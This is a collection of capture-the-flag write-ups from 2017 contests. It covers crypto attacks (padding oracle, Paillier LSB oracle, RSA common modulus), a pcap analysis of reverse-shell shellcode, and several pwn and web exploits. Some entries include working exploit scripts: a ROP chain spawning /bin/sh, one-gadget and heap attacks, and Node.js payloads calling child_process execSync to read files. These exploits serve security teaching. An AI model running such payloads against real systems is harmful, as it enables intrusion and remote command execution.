# if there's more than one candidate, we can remove some of them if len(candidates) > 0: print '' print 'Reducing number of candidates...' # get characters no. 8, 24, 40, at the end of each token block for block in range(3): index = 8 + block * 16 # send same crafted message as before, but with one of the token blocks at the end (to find its last byte) payload = flipiv('token: '.ljust(16, '\x00'), 'get-md5'.ljust(16, '\x00'), tokenblocks[0]) payload += ''.join(tokenblocks[1:]) payload += 'A' * 16 * 11 payload += tokenblocks[block] payload += tokenblocks[block + 1] p.sendline(base64.b64encode(payload))
print 'Byte at:', index res = p.recvline(keepends=False) print "received:", res
# same checks as before if res in oraclemd5s: lastbyte = oraclemd5s[res] print 'Found byte:', hex(lastbyte) candidates = filter(lambda x: x[index] == chr(lastbyte), candidates) print 'Candidates:' print candidates elif res == notfound: print 'Command not found -> 0' lastbyte = 0 candidates = filter(lambda x: x[index] == chr(lastbyte), candidates) print 'Candidates:' print candidates else: print 'Not found. [1-32]' # flip most significant bit of last byte to move it in a good range newpayload = payload[:-17] + xor_str(payload[-17], '\x80') + payload[-16:] p.sendline(base64.b64encode(newpayload)) res = p.recvline(keepends=False)
if res in oraclemd5s: lastbyte = oraclemd5s[res] ^ 0x80 print 'Found byte:', hex(lastbyte) candidates = filter(lambda x: x[index] == chr(lastbyte), candidates) print 'Candidates:' print candidates elif res == notfound: print 'Command not found -> 0' lastbyte = 0 ^ 0x80 candidates = filter(lambda x: x[index] == chr(lastbyte), candidates) print 'Candidates:' print candidates else: raise AssertionError("Something went wrong, couldn't identify byte.")
print '' print 'Candidates left:', len(candidates)
# if we didn't narrow down the candidates to a single one, we will just send the first one token = candidates[0]
# send token and get flag payload = flipiv(welcomeplain, 'check-token'.ljust(16, '\x01'), welcomeblocks[0]) payload += welcomeblocks[1] p.sendline(base64.b64encode(payload))
print '' print p.recvline(keepends=False) # 'Give me the token!' print 'Sending token...' p.sendline(base64.b64encode(token)) flag = p.recvline(keepends=False) print 'Flag:' print flag
with open('flag', 'w') as f: f.write(flag)
exit(0)
# if the token was not correct, try again except EOFError: print 'Failed! Trying again...' print '' p.close() continue``` |
**tl;dr:** leak `index.php` through `index.php~` backup file, find sql injection, ???, profit.
The actual exploit is just a SQL injection with some forbidden characters. But the key is to use `;\0` to terminate the query even if it is followed by additional data.
The original writeup investigates why the semicolon is required here, as the standard explanation that mysql ignores everything following a `\0` byte would not explain that. |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTFWriteups</span></span></span><span>/</span><span><span>CSAW -17</span></span><span>/</span>CVV<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTFWriteups</span></span></span><span>/</span><span><span>CSAW -17</span></span><span>/</span>CVV<span>/</span></div>
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# Paillier Oracle - Cryptography - 267 points - 29 teams solved
> Paillier Cryptosystem is Hard, isn't it?>> nc oracle.tasks.ctf.codeblue.jp 7485>> [problem.py](./problem.py-0fcaaab8cb9e285aacc3e589202272b8440cef7bd20f734875239a01e3ceeee0)
This challenge implements the [Paillier cryptosystem](https://en.wikipedia.org/wiki/Paillier_cryptosystem) - we are given a public key, the encrypted flag, and an oracle which decrypts with the corresponding private key any ciphertext we give it, then show us the least significant bit.
Paillier is additive homomorphich, which means that if you multiply two ciphertexts, then decrypt the result, the result will be the sum of the two plaintexts. Basically, `ct1 = encrypt(pt1, pubkey)`, `ct2 = encrypt(pt2, pubkey)`, `decrypt(ct1 * ct2 mod n**2, privkey) = pt1 + pt2 mod n`. This also means that `ct = encrypt(pt, pubkey)`, `decrypt(ct ** x mod n**2) = pt1 * x mod n`
Due to the homomorphism, we can calculate `ct * ct mod n**2`, and the underlying plaintext will be `pt + pt mod n`. As long as `pt * 2 < n` the result should always be even. Since the flag is not padded before encryption, `pt` has fewer bits than `n` and is much smaller. As a result, `oracle(ct * ct mod n**2)` should always return the bit * `0`.
Now if we do `oracle(ct ** (1 << i) mod n**2)`, we should continue getting `0` as results since the underlying plaintext becomes `ptshift = pt << i`. We continue getting `0` as `i` increases until finally `ptshift > n`. Now this means one of two things - either `numbits(ptshift) = numbits(n) + 1` or `numbits(ptshift) = numbits(n)`.
To distinguish between these two cases, we attempt to remove the most significant bit of `pt`. The value `mask = 1 << (numbits(n) - i)` corresponds to the potential MSB, and we want to do `[pt - mask = pt + n - mask] mod n`. We again use the homomorphism property, and compute `tempval = ct * encrypt(n - mask, pubkey) mod n**2`. If the upper bit was actually set, it is now cleared, but if not we are left with a value close to `n` due to the subtraction going below zero. To distinguish between these two cases, we use `oracle(tempval ** 2 mod n**2)`. If the result is `0` we cleared the upper bit, if the result is `1` we generated an underflow.
In the former case, we simply append `1` to our known flag bits, and use `tempval` as our new ciphertext. In the latter case, we instead generate `mask = 1 << (numbits(n) - i - 1)` and use that to remove the actual MSB which is to the right of the one we first attempted, and which is guaranteed to be present. One caveat is that this bit is removed "out of order" so our code have to remember this.
By repeatedly doing the full process as we iterate over `i`, we get the plaintext bit by bit, and after a while we have the full flag, `CBCTF{0a5b6a97044b3bccff21200292592979d5dc9ac6}` |
# Common Modulus 1 - Cryptography - 98 points - 162 teams solved
> We made RSA Encryption Scheme/Tester. Can you break it?>> [Common_Modulus_1.zip](./Common_Modulus_1.zip-37882dbd7dd05381bbf72a11fbbdb3f23def0e4981bc9ffcd399e4c138549fc8)
# Common Modulus 2 - Cryptography - 133 points - 104 teams solved
> The previous one is very easy. so is this also easy?>> [Common_Modulus_2.zip](./Common_Modulus_2.zip-24d74ea8d1b7bc154d30bb667f6f13ef24a9fe260a7741caab427421d1070c98)
# Common Modulus 3 - Cryptography - 210 points - 48 teams solved
> try harder!>> [Common_Modulus_3.zip](./Common_Modulus_3.zip-275005199fd0ecbec4183fd7e1b421f65c7bb982ffba65a12a4089e263899152)
These challenges are three variations of the same problem, where a plaintext is RSA encrypted twice, with public keys `(e1, n)` and `(e2, n)` where `n` is the same in both keys but `e1 != e2`. We are given a file with both public keys and the two ciphertexts `ct1` and `ct2`.
At first I totally missed that `e1` and `e2` was explicitly given in the files, so I wrote a script to brute force find the private keys by generating `ct1 ** x mod n` and `ct2 ** y mod n` until I found a match. This works because `(m ** e1) ** x = m ** (e1 * x) = m ** (e2 * y) mod n` when `e1 = y` and `e2 = x`. Since each `e1` and `e2` are generated from a random number below `2 ** 20` this just takes a few minutes.
With the two public keys fully known, the solution is as described [in this Stackexchange post](https://crypto.stackexchange.com/questions/1614/rsa-cracking-the-same-message-is-sent-to-two-different-people-problem) - you take the extended GCD for `e1` and `e2` to find two values where `e1 * s + e2 * t = 1` which then can be extended to `[(ct1 ** s) * (ct2 ** t) = (m ** (e1 * s)) * (m ** (e2 * t)) = m ** (e1 * s + e2 * t) = m ** 1 = m] mod n`. The only issue is that either `s` or `t` is negative, so you have to use modular multiplicative inverse to calculate a negative power. After this, we get `m`, convert it to bytes, and get the first flag `CBCTF{6ac2afd2fc108894db8ab21d1e30d3f3}`
In the second problem, `e1` and `e2` is generated with `e = 3 * get_random_prime(20)`, so they have a common factor. We simply divide both of them by 3, and the above alorithm still works. The only problem is that we are left with the result `m ** 3`. Since the number of bits in `m` is assumed to be less than one third of the size of `n`, we can simply find the cube root of the result, and get the proper `m`. The second flag is `CBCTF{d65718235c137a94264f16d3a51fefa1}`.
In the third problem, the common factor is now `17`, but more importantly, the flag is left aligned with zero bytes until the plaintext is 8192 bits in length. In practice, this means that `mp = m ** (1 << (x*8))`, and the value we get when repeating the algorithm from the previous problems give us `mp ** 17`. Our solution then becomes to generate modular multiplicative inverses for all `1 << (x*8) mod n`, then try all of them. One of them will leave us with `m ** 17` as the result, which we then can take the 17th root of to get the original `m`, and the flag which is `CBCTF{b5c96e00cb90d11ec6eccdc58ef0272d}`. |
# Two## Misc 274> 23 solved* Two gadgets.* one```c0xce0e1 execve("/bin/sh", [rbp-0x78], [rbp-0x50])constraints: [[rbp-0x78]] == NULL || [rbp-0x78] == NULL [[rbp-0x50]] == NULL || [rbp-0x50] == NULL```* one + 8```asmce0e9: 48 8d 3d 50 cb 0b 00 lea rdi,[rip+0xbcb50] # 18ac40 <_libc_intl_domainname@@GLIBC_2.2.5+0x180>ce0f0: 4c 89 ce mov rsi,r9ce0f3: e8 68 f6 ff ff call cd760 <execve@@GLIBC_2.2.5>```* Constrains: `r9 == 0` and `rdx == 0`.* After several trying...* After calling `malloc` it cause `r9 = 0` and `rdx = 0` , Wonderful!!!!!!!```python#!/usr/bin/env pythonfrom pwn import *
# hitcon{make_one_gadget_great_again!}
context.arch = 'amd64'l = ELF('./libc.so.6')
host , port = '13.113.242.0' , 31337y = remote( host , port )
'''0x4557a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xcde41 execve("/bin/sh", r15, r13)constraints: [r15] == NULL || r15 == NULL [r13] == NULL || r13 == NULL
0xce0e1 execve("/bin/sh", [rbp-0x78], [rbp-0x50])constraints: [[rbp-0x78]] == NULL || [rbp-0x78] == NULL [[rbp-0x50]] == NULL || [rbp-0x50] == NULL
0xf1651 execve("/bin/sh", rsp+0x40, environ)constraints: [rsp+0x40] == NULL
0xf24cb execve("/bin/sh", rsp+0x60, environ)constraints: [rsp+0x60] == NULL'''
'''ce0e9: 48 8d 3d 50 cb 0b 00 lea rdi,[rip+0xbcb50] # 18ac40 <_libc_intl_domainname@@GLIBC_2.2.5+0x180>ce0f0: 4c 89 ce mov rsi,r9ce0f3: e8 68 f6 ff ff call cd760 <execve@@GLIBC_2.2.5>
constrains: r9 == 0 rdx == 0
'''
# After calling `malloc` it let `r9 = 0` and `rdx = 0` , Wonderful!!!!!!!
l.address += int( y.recvline()[2:-1] , 16 ) - 0x203f1log.success( 'libc -> %s' % hex( l.address ) )
magic = 0xce0e1 + 0x8 # Don't want the constains which can't be satisfied.
p = flat( l.symbols['malloc'], # magic ... l.address + magic)
sleep( 0.7 )
y.send( p )
sleep( 0.7 )
y.sendline( 'cat /home/`whoami`/flag' )
y.interactive()``` |
# Incident Response - Misc - 267 points - 29 teams solved
> We found some strange activities on our web server.> Can you find out what happened?>> [incident_response.tgz](./incident_response.tgz-66e6ba124d2396c32010104ce20ea182de8859c704895750d3ea994068add833)
In this challenge we are given a .pcap network capture file, so we load it up in Wireshark. At first glance it's a lot of HTTP traffic, but right in the middle there's some strange TCP traffic going over port 31337. Sounds like something worth investigating.
Looking at the surrounding traffic, we soon see a very strange and suspicious HTTP request - the "AAAAAAAAAAAAAAAAAAAA" line instantly makes us think of a buffer overflow exploit.
We crop out the HTTP body and save it to a separate file, then load the file up in IDA, guessing that it's simple x86 code. We start mashing 'C' to try converting data to code, and soon find a block of syscall wrapper functions.
`syscall`? Not `int 0x80`?
...We reload the file as **x64** code, then do the same process.
The initial analysis shows that the code calls `fork()`, then in the child process connects to the IP address we saw in the packet capture. It calls a function at `0x009A` which reads 32 bytes from `/dev/urandom`, and sends it over the connection, then calls the function at `0x00EA`.
This function clears two values, then sets up a 256 byte table containing the values 0-255, and uses the previous 32 random bytes to shuffle them around. This sounds almost exactly like the [RC4 encryption algorithm](https://en.wikipedia.org/wiki/RC4) initialization, so on a hunch we code a simple decryption script. We take the 32 first bytes in the TCP stream as the key, then try to decrypt the rest of the stream as RC4.
This works perfectly, and the decrypted data turns out to be a shell session, where the user eventually grabs the content of the flag file - `CBCTF{7RAcKINg_H4ckERs_f00tPrINTs_i5_excItING}` |
We have an oracle that takes a cipher text encrypted with the public key $(n,g)$ and gives us the least significant bit of the plain text
Thanks to the [Paillier Cryptosystem](https://en.wikipedia.org/wiki/Paillier_cryptosystem) we can send $c$ so that:$$dec(c) = flag - k \mod n$$or$$dec(c) = flag \cdot k \mod n$$
Check out the full write up [https://theromanxpl0it.github.io/ctf_codeblue2017/paillier/](https://theromanxpl0it.github.io/ctf_codeblue2017/paillier/) |
Use negative indexes and setbuf for a nice buffer overflow giving us the ability to leak plt addresses and finally execute system("/bin/sh")
[Full writeup here](https://theromanxpl0it.github.io/ctf_codeblue2017/2017/11/11/secretmailerservice.html) |
There are some actions of this site:
- Login- Get new idol- Let idol say something
When we get an idol, this site use cookie such as ``[{"key":["ssr","0"]}]`` to store it.
And when we access url like http://ssr.tasks.ctf.codeblue.jp/idols/0/say1, this cookie will unserialize as a ssr idol Uzuki then call Uzuki's ``say1`` function.
Try ``[{"key":["a","0"]}]`` will get an error
```TypeError: Cannot read property '0' of undefined at generateIdol (/usr/local/ssr/build/server.js:144:49) at /usr/local/ssr/build/server.js:172:12 at Array.map (<anonymous>) at unserializeIdols (/usr/local/ssr/build/server.js:169:20) at Idol.render (/usr/local/ssr/build/server.js:436:46) at /usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:793:21 at measureLifeCyclePerf (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:73:12) at ReactCompositeComponentWrapper._renderValidatedComponentWithoutOwnerOrContext (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:792:25) at ReactCompositeComponentWrapper._renderValidatedComponent (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:819:32) at ReactCompositeComponentWrapper.performInitialMount (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:359:30)```
In this chall, server side and client side share some code, so we can see functions related with idol generating:
```jsvar unserializeIdols = exports.unserializeIdols = function unserializeIdols(idolsData) { if (!idolsData) { return []; } return idolsData.map(function(_ref) { var key = _ref.key; return generateIdol(key); });};```
```jsvar idol = (0, _idols.unserializeIdols)(cookies.get('idols'))[id];if (!idol) { return _react2.default.createElement( 'div', null, 'Invalid Idol!!' );}
var idolAction = action || 'say1';if (!idol[idolAction]) { return _react2.default.createElement( 'div', null, 'Invalid Action!!' );}```
```jsvar generateIdol = function generateIdol(key) { var _key = _slicedToArray(key, 2), rarity = _key[0], idolNo = _key[1];
var idolClass = _idolDatabase2.default[rarity][idolNo]; return new idolClass(key);};```
With such code, when we pass a cookie such as ``[{"key":["ssr","0"]}]`` will execute:
```jsvar idol = _idolDatabase2.default["ssr"]["0"];return new idolClass(["ssr","0"]);```
This remind me some magic JavaScript properties such as prototype/constructor will do something i want. When we pass a cookie like:
```[{"key":["constructor","constructor","0%3Breturn 1"]}]```
will execute
```jsvar idolClass = _idolDatabase2.default["constructor"]["constructor"];return new idolClass(["constructor","constructor","0;return '1'"]);```
and generate a fucntion
```jsfunction(){constructor,constructor,0;return '1'}```
Now we can generate an arbitrarily function, we can use this function by ``call`` method with visit url http://ssr.tasks.ctf.codeblue.jp/idols/0/call.
so let's list directory first, try
```[{"key":["constructor","constructor","0%3Breturn process.mainModule.require('child_process').execSync('ls /usr/local/ssr/')+''"]}]```
will return
```README.mdbuildconfflaggulpfile.jsnode_modulespackage-lock.jsonpackage.jsonpublicsrcstylewebpack.config.js```
and then cat flag with
```[{"key":["constructor","constructor","0%3Breturn process.mainModule.require('child_process').execSync('cat /usr/local/ssr/flag')+''"]}]```
got
```CBCTF{server_side_render1ng_1s_Soo_fun}``` |
# Ghost in the heap - Write up
### Program
+ New heap + Allocate a 168 bytes heap. + You can only have three heap.+ Delete heap + Delete heap by index. + Add ghost + Add a ghost with magic + You can only have one ghost.
```struct Ghost { char desc[0x48] ; long magic ;};```
+ Watch ghost + Show the information of ghost if magic is matched. + Remove ghost + Remove the ghost.
### Vulnerability
+ off-by-one NULL byte in `new_heap` ``` void new_heap(){ int i ; size_t size = 0; for(i = 0 ; i < MAX ; i++){ if(!heap[i]){ heap[i] = malloc(HEAPSIZE); if(!heap[i]){ puts("Alloacte error !"); _exit(-1); } printf("Data :"); scanf("%168s",heap[i]); return ; } } puts("Too many heap !");} ``` + The size of heap is 168 bytes, but it use `scanf("%168s",heap[i[)` to read input. It will puts a null byte in the end of input. If your length of input is equal to 168 byte, it would lead to off-byte one overflow.
+ Information leak
+ It use read() to read input without NULL byte which leads to information leak.
``` void read_input(char *buf,unsigned int size){ int ret ; ret = read(0,buf,size); if(ret <= 0){ puts("read error"); _exit(1); } } ``` + Exploitation
+ Idea + [Fail] Fastbin dup + It only allocate a fastbin chunk. + [Fail] Unsorted bin attack to overwrite `_IO_list_all`. + Because there are some vtable vertify in lastet libc. + [Success] Unsoted bin attack to corrupt stdin buffer + It's using `scanf` and it would use stdin buffer. So we can overwrite the `_IO_buf_end`,you will have a stdin buffer in libc. After do that you can control the flow.
+ Information leak + Heap address + It a little hard to get heap address. Because we only have three smallbin and one fastbin chunk. 1. Add a ghost and three heap 2. Remove the first heap and ghost  3. Remove the last heap, it would merge with top and trigger `malloc_cosolidate`. The fastbin chunk would merge with unsorted chunk.  4. Add two heap  5. Remove `Heap 1` so that it can merge with free chunk and return to unsorted bin.  6. Add one heap, and remove `heap 0`. We can see that we have two chunk in unsoted bin, so we have heap address in the heap.  7. Add ghost and we can get heap address by watching ghost + Libc address + It's easier than heap address. Just use unsorted chunk.
+ Create a overlap chunk 1. Remove ghost and all of heap 2. Add a heap, ghost and two heap 3. Remove `heap 0` and ghost  4. Remove `heap 2` and it would trigger `malloc_consolidate`  5. Add 2 heap  6. Remove `heap 0` and `heap 1`  7. Trigger the vulnerability  8. Add 1 heap  9. Remove `heap 1` (Let it can remove `heap 0`)  10. Remove `heap 0`  11. Add a ghost  12. Add a new heap and forge fake chunk  13. Add a new heap and remove `heap 2`, then you can unlink success and create overlap chunk.  14. More detail you can see my [exploit](./exp.py)
+ Unsorted bin attack + Use unsorted bin attak to overwrite `_IO_buf_end`  + Trigger `scanf()` + It will read data to stdin buffer. You can use it to overwrite `malloc_hook` with one gadget + Trigger `malloc` and you will get shell. + More detail about FILE structure + [Play with FILE Structure](http://4ngelboy.blogspot.tw/2017/11/play-with-file-structure-yet-another.html) + Exploit + [exp.py](./exp.py) |
Check out the [Common Modulus 1 Writeup](https://theromanxpl0it.github.io/ctf_codeblue2017/common1/) first!
This is a common modulus attack + unpadded message with small exponent.Basically we can take the square root of the result of the common modulus attack.
Check out the full writeup at [https://theromanxpl0it.github.io/ctf_codeblue2017/common2](https://theromanxpl0it.github.io/ctf_codeblue2017/common2/)
```pythonfrom binascii import unhexlifyimport stringdef solve(e1, e2, n, m1, m2): d, x, y = xgcd(e1, e2) c = (pow(m1, x, n) * pow(m2, y, n)) % n print unhexlify(hex(long(pow(long(c), 1/3)))[2:-1])``` |
A writeup by wolvg , gast04 and roman.
* * **Category:** pwn* **Points:** 132* **Description:** Have you tried pwntools-ruby?
Provided files:- start- server.rb
# Observations
The remote server expects us to send a Ruby script.Now we can understand the hint with pwntools-ruby.
```sh$ nc 54.65.72.116 31337The binary "start" is listening at 127.0.0.1:31338.This is not important, but the Ruby version running is: 2.4.2Give me your Ruby script, I would run it for you ;)>```
It's a statically linked x86-64 binary.This is the reason for the quite large size of nearly 900 KB.But the main function is very limited.Only one loop that reads up to 217 characters from the commandline into a 24 byte buffer and prints it afterwards.I guess you know what to do.But wait, stack canaries are found!The loop ends only, if exit is entered.
## Vulnerability
As indicated before, a stack based buffer overflow was found.Since stack canaries are enabled, the canary value has to be leaked first.This is possible because we got a loop with unlimited cycles.The first step is to write an exploit for the local binary.We are used to Python pwntools and using that first.Next it will be adopted to Ruby pwntools to be sent to the server.
# Solution
### Leaking the Canary
If we fill the complete buffer with printable characters, the puts will print the canary value for us, in theory.One special thing about canaries is, that the least significant byte (LSB) is always null.The null byte would terminate a string if the buffer is full.We will send 24 'A' with a newline.The newline replaces the null byte.Now we can read the canary, if no null byte is in the random canary value.In this rare case, just run it again.
### ROP chain
Our goal is to execute a shell.To archive this goal we make use of return oriented programming (ROP).First we will use read to read the string "/bin/sh\0" to a known writeable address.The .bss segment is suitable:
```pythonbss = 0x6cdb60 # address to write the string "/bin/sh\0"
r = ROP('start')r.call("read", [0, bss, len("/bin/sh\x00")])```
The snippet starts the pwntools ROP chain builder with our vulnerable binary and a call of the read function.This automatically searches for ROP gadgets.All arguments for the function calls are loaded into the registers using `pop` instructions.Keep the linux x86-64 calling convention in mind!
```0x0000: 0x4005d5 pop rdi; ret0x0008: 0x00x0010: 0x4017f7 pop rsi; ret0x0018: 0x6cdb600x0020: 0x443776 pop rdx; ret0x0028: 0x80x0030: 0x440300 read```
Since the ROP chain will be placed on the stack at the place of the return address of main, the program returns to the gadget.For example the first gadget is placed at 0x4005d5 in our binary. It pops the first argument to rdi.
```0x004005d5 pop rdi0x004005d6 ret```
The next step in our attack is to call the execv syscall.The syscall instruction expects the syscall number in the rax register.We manually found a ROP gadget to handle this.It also pops rdx and rbx, not used, but we put nulls on the stack for this.
```0x0047a781 pop rax0x0047a782 pop rdx0x0047a783 pop rbx0x0047a784 ret```
Let us continue our ROP chain:
```pythonr.raw(0x47a781) # ROP gadget: pop rax; pop rdx; pop rbx; retr.raw(59) # execve syscall numberr.raw(0)r.raw(0)```
Now the last step is to call the syscall.We found a syscall instruction in the binary at 0x4003fc.The rax is set with the last gadget, and the bss address ("/bin/sh\0") is correctly set as first argument using pwntools.
```pythonsyscall = 0x4003fc # address with a syscall instructionr.call(syscall, [bss, 0, 0])```
## Marshalling the payload
Now it's time to put it together.- Writing the whole buffer.- Writing the known stack canary.- Add some padding to get to the return address.- Place the ROP chain.
```pythonpayload = "c"*24 + p64(can) + "d"*8 + r.chain()
proc.send(payload)proc.sendline("exit")proc.sendline("/bin/sh\0")proc.sendline("ls")proc.interactive()```After sending the payload we exit the main loop and the main function return.The path to sh is sent, and in the end a command is executed on the shell.
## Attacking the remote server
Usually it's easy to attack the remote system using pwntools.Just replace the `process` with a `remote` and fire!In our case the server executes a Ruby script to attack the vulnerable binary.
Let's think about, how to adopt our attack script:- We need to rewrite the canary stuff.- We can export the ROP chain from python, and import it into the Ruby script.
Full exploit:
```rubyrequire 'pwn'context.arch = 'amd64'context.log_level = :debugp = Sock.new '127.0.0.1', 31338chain = "\xd5\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf7\x17@\x00\x00\x00\x00\x00`\xdbl\x00\x00\x00\x00\x00v7D\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x03D\x00\x00\x00\x00\x00\xf6\x02@\x00\x00\x00\x00\x00\x81\xa7G\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd5\x05@\x00\x00\x00\x00\x00`\xdbl\x00\x00\x00\x00\x00\xf7\x17@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00v7D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfc\x03@\x00\x00\x00\x00\x00naaboaab".force_encoding("ASCII-8BIT")to_exec = "/bin/sh\x00"p.sendline "A"*24all = p.recvcan_raw = "\x00"+all.split("\n")[1][0..6]can = u64(can_raw)payload = "c"*24+p64(can)+"d"*8+chainp.send payloadp.sendline "exit"p.sendline to_execp.sendline "cat /home/start/flag"print p.recvprint p.recv```
|
# Damocles
### Vulnerability
+ Heap overflow in allocate() function
```void allocate(){ char *tmp = NULL ; char buf[4]; size_t size ; printf("Size : "); size = read_long(); tmp = malloc(size); if(!tmp){ puts("Allocate failed"); _exit(-1); } printf("Content :"); read_input(tmp,size); while(1){ printf("Finish ? (Y/n)"); read_input(buf,2); if(buf[0] == 'Y' || buf[0] == 'y'){ puts("Done !"); ptr = tmp ; return ; }else{ printf("Size :"); size = read_long(); //heap overflow printf("Content :"); read_input(tmp,size); } }}```
### Exploitation
+ Allocate mmap chunks many time let `libc address + mp_.mmapped_mem` is a writable page. + You can not allocate a very large chunk at once, because we need to update `main_arena.system_mem` let `main_arena.system_mem` is larger than `mp_.mmapped_mem`
+ Allocate some fastbin chunk and consolidate it to create some unsorted bin chunk.
+ Unsorted bin corruption + This time, there is a valid unsorted bin chunk in `mp_` + unsorted bin only check `chunksize < main_arena.system_mem`
+ Use heap overflow to overwrite the bk of unsorted bin chunk with the valid chunk in `mp_` + We don't no the libc address, but it close to unsorted bin. So we can use partial overwrite. Just bruteforce 1/16 probability.
+ Allocate a large chunk with `mp_.mmapped_mem` bytes, you will get the chunk in `mp_` + The chunk is so large that you can overwrite many thing in glibc.
+ Control the flow + Overwrite `__malloc_hook` then do ROP, you will get the shell.+ Exploitation + [exp.py](exp.py) |
There's a buffer overflow while appending `.txt` to filename. Overwrite the `e` and try [Common Modulus Attack](https://crypto.stackexchange.com/questions/1614/rsa-cracking-the-same-message-is-sent-to-two-different-people-problem) to crack the plaintext of `flag.txt`. |
tl;dr:1. Notice that there is some stream cipher underneath2. Extract some of the keystream and notice it repeats itself3. Decrypt the whole cookie
Full writeup: https://github.com/p4-team/ctf/tree/master/2017-11-09-defcamp-final/hack_tac_toe |
tl;dr:1. Notice XSS in the order form2. Split payload into multiple fields and call via eval() to avoid length checks3. Get the flag by forcing admin to put it in our cart
Full writeup: https://github.com/p4-team/ctf/tree/master/2017-11-09-defcamp-final/fedora_shop |
tl;dr:1. Solve some equations2. Notice that we simply need to maximize dot product of given vector and vector of our choosing
Full writeup: https://github.com/p4-team/ctf/tree/master/2017-11-09-defcamp-final/adversarial |
**The files are include in the github repository of the original writeup.**
First of we need to clarify the babycrack.jsRenaming variables and functions, cutting useless parts, etc...
Once this is done we can start searching for the input.We alreadfy know that the input should look like "hctf{XXXXXXXXXX}"
We can see that the script cuts the input into words
```jsvar words_from_input = user_input["split"]('_');```
After a quick search we can see that there's 5 words in the flag.FLAG: hctf{XXX_XXX_XXX_XXX_XXX}
The first verification concern the first word.At this point we still miss the length of the first word to reverse it.
Next we have the third word:
```jse = str_to_hex(b2c(words_from_input[2])["split"]('=')[0]) ^ 0x53a3f32;if (e != 0x4b7c0a73) return false;f = str_to_hex(b2c(words_from_input[3])["split"]('=')[0]) ^ e;if (f != 0x4315332) return false;```
We can get the output of the two str_to_hex() functions by reversing the xorand then get their input.
```jsnb1 = 0x53a3f32 ^ 0x4b7c0a73; // 0x4e463541nb2 = 0x4b7c0a73 ^ 0x4315332; // 0x4f4d5941
/*** 4E = N 4F = O** 46 = F 4D = M** 35 = 5 59 = Y** 41 = A 41 = A*/```
Here we have our two inputs.We can see that they were split on the '=' char.That means b2c output was something like: NF5A=XXXX and OMYA=XXXX
The first thing we notice in the b2c function is a big for
```jsfor (i = 0; i < str_len_div_by_5; i++){ char_tab["push"](alpha_num["charAt"](str["charCodeAt"](i * 5) >> 3)); char_tab["push"](alpha_num["charAt"]((str["charCodeAt"](i * 5) & 7) << 2 | str["charCodeAt"](i * 5 + 1) >> 6)); char_tab["push"](alpha_num["charAt"]((str["charCodeAt"](i * 5 + 1) & 63) >> 1)); char_tab["push"](alpha_num["charAt"]((str["charCodeAt"](i * 5 + 1) & 1) << 4 | str["charCodeAt"](i * 5 + 2) >> 4)); char_tab["push"](alpha_num["charAt"]((str["charCodeAt"](i * 5 + 2) & 15) << 1 | str["charCodeAt"](i * 5 + 3) >> 7)); char_tab["push"](alpha_num["charAt"]((str["charCodeAt"](i * 5 + 3) & 127) >> 2)); char_tab["push"](alpha_num["charAt"]((str["charCodeAt"](i * 5 + 3) & 3) << 3 | str["charCodeAt"](i * 5 + 4) >> 5)); char_tab["push"](alpha_num["charAt"](str["charCodeAt"](i * 5 + 4) & 31));}```
Every turn, the output string is filled with 8 more chars.After that the output is cut and filled again with '=' depending on the length of the input.
```jsfor (i = 0; i < modifier_cpt; i++) char_tab['pop']();for (i = 0; i < modifier_cpt; i++) char_tab["push"]('=');```
We need 4 chars followed by an '='.The function can cut 6 chars at most.So if we enter the for more than once, we get 16 chars and it's already too much.Wich means we need an input of length 5 or less.knowing that we'll need to cut 4 chars, we just get the length correspondingto the right modifier_cpt.
```jsif (str_len_mod_5 == 1) modifier_cpt = 6;else if (str_len_mod_5 == 2) modifier_cpt = 4;else if (str_len_mod_5 == 3) modifier_cpt = 3;else if (str_len_mod_5 == 4) modifier_cpt = 1;```
So our two inputs were both of length 2.From there we can either try to reverse the calculations made in the big for or,knowing that the number of possible combinations is pretty low, make a script toget the input for us.
```pythondef reverse_b2c(b2c_out): for str in itertools.product(string.ascii_letters + string.digits, repeat=2): str = "".join(str) out = subprocess.check_output(["node", "b2c.js", str]).decode("utf-8") print(str, out) if (out.startswith(b2c_out)): print("Input was:", str) break```
Done.We get the third and the fourth word.FLAG: hctf{XXX_XXX_iz_s0_XXX}
The next one is the second word
```jsh = function(word2_part1, mult_acii_by_len_word1){ var nb_to_ret = ''; for (var i = 0; i < word2_part1["length"]; i++) nb_to_ret += mult_acii_by_len_word1(word2_part1[i]); return nb_to_ret;};j = words_from_input[1]["split"]('3');if (j[0]["length"] != j[1]["length"] || (str_to_hex(j[0]) ^ str_to_hex(j[1])) != 0x1613) return false;k = word2_part1 => word2_part1["charCodeAt"]() * words_from_input[1]["length"];l = h(j[0], k);if (l != 0x2f9b5072) return false;```
It is split into two parts on the '3' char.Their length should be the same, wich means the length of the word is odd.FLAG: hctf{XXX_XX3XX_iz_s0_XXX}
We have the value of l which is supposed to be 798707826.Looking at the h function we can see it add to its output the ascii valueof every char of the input multiplied by the length of the second word.Knowing that we want printable chars, their ascii value should be comprisedbetween 32 and 126.We can try to decompose the l value:We get 79 87 0 7 82 6 or 798 707 826.The second one is much more plausible.So our length is obviously 7 and the first part of the word is798 / 7 = 114 // r707 / 7 = 101 // e826 / 7 = 118 // vFLAG: hctf{XXX_rev3XXX_iz_s0_XXX}
With the first part and the xor value 0x1613, we can get the second part.
```jsnb = 0x1613 ^ str_to_hex("rev"); // 0x727365
/*** 72 = r** 73 = s** 65 = e*/```
We're done with the second word.FLAG: hctf{XXX_rev3rse_iz_s0_XXX}
